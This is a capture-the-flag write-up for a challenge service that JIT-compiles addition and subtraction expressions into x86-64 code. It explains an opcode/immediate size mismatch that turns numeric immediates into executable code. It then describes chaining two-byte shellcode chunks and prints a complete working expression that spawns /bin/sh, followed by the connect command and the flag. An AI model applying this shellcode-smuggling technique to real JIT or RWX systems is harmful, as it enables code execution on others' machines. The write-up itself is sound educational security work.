CTF-Writeups

Santa’s Christmas Calculator writeup

Overview

The service reads a single expression made of + and - with decimal integers, JIT-compiles it into native x86-64 code, executes it, and prints the result. The JIT uses RWX mmap, so if we can corrupt the generated code stream we can execute arbitrary instructions.

Binary behavior

Key functions (from static analysis):

The JIT code bytes are copied from .rodata using memcpy, and immediates are written into the code stream after each add/sub opcode.

Bug

In jit_ops, the decision for opcode size and the decision for immediate size are inconsistent:

For value = 0x80, the JIT uses the imm8 opcode but writes a 4-byte immediate. The extra 3 bytes become executable code. This gives a controlled jump into attacker-supplied bytes that follow.

Exploit strategy

  1. Set rax to a safe RW address so the buggy opcode stream does not crash on unintended reads/writes. The .bss region at 0x404080 is writable.
  2. Add 128 to trigger the mismatch and land execution in the following immediate stream.
  3. Treat each subsequent 4-byte immediate as a tiny instruction chunk:
    • Bytes layout: [ins0][ins1][0xEB][0x02]
    • This executes two bytes of real code, then jmp +2 to skip the fixed add rax, imm32 opcode bytes that would otherwise execute.
  4. Chain these 4-byte chunks to build a small shellcode:
    • Copy /bin/sh\0 into the RWX buffer using mov al, imm8; stosb.
    • Build argv on the stack: push NULL, push pointer to /bin/sh, set rsi = rsp.
    • Set rdi = ptr("/bin/sh"), rdx = 0, rax = 59, syscall.

Because the JIT memory is RWX, this code executes directly.

Working expression

The following expression triggers the bug and spawns a shell:

4210816+128+48979794+48967600+48992426+48980656+48992426+48982448+48992426+48983728+48992426+48967600+48992426+48985008+48992426+48982192+48992426+48955568+48992426+48979794+49004593+48992336+48992338+48979540+49009201+48970672+2425357583

Run:

nc kubenode.mctf.io 31088
<paste expression>
cat flag.txt

Flag

MetaCTF{ju5t_1n_t1m3_t0_c4ptur3_th3_fl4g}

Notes